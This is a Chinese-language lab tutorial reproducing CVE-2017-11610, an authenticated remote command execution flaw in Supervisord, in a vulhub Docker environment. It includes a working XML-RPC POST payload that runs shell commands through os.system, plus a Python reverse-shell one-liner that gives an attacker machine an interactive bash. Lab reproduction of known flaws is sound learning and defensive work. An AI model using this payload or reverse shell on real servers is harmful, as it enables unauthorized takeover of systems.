1. 程式人生 > 其它 >CVE-2017-11610漏洞復現

CVE-2017-11610漏洞復現

一、漏洞描述

Supervisord是一款用Python語言開發的管理後臺應用(服務)的工具,方便運維人員使用圖形化介面進行管理。近期,Supervisord曝出了一個需認證的遠端命令執行漏洞(CVE-2017-11610)。通過POST請求向Supervisord管理介面提交惡意資料,可以獲取伺服器操作許可權,帶來嚴重的安全風險。

影響版本

Supervisord 3.1.2 <= Version <= 3.3.2

二、漏洞環境搭建

需要準備的工具如下:

1.docker+vulhub漏洞庫
2.kali虛擬機器
3.靶機Ubuntu18.04虛擬機器(其他也可以)
4.Burpsuite

開啟Ubuntu虛擬機器,有docker環境和vulhub漏洞庫的話就直接進入環境,沒有的話先安裝docker和下載vulhub漏洞庫(網上教程很多,這裡就不多介紹了)

root@admin666-virtual-machine:~/vulhub/supervisor/CVE-2017-11610# 

執行命令 docker-compose up -d

root@admin666-virtual-machine:~/vulhub/supervisor/CVE-2017-11610# docker-compose up -d

等環境搭建完成後,可以訪問 http://your-ip:9001 出現如下頁面證明搭建成功!

三、漏洞利用

訪問http://your-ip:9001,然後用Burpsuite代理工具抓包,將抓到的主頁包放到Repeater裡,直接將payload放入資料包中重放即可復現成功!

payload如下:
將payload中的IP換成自己的即可

POST /RPC2 HTTP/1.1
Host: 192.168.124.129:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213


<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

可以看到返回200,進入docker容器檢視是否建立成功
docker exec -it 容器ID /bin/bash


成功建立

反彈shell,將payload中的命令替換為如下命令即可反彈shell,這裡使用kali虛擬機器來反彈shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"


反彈成功

四、關閉docker環境

docker-compose down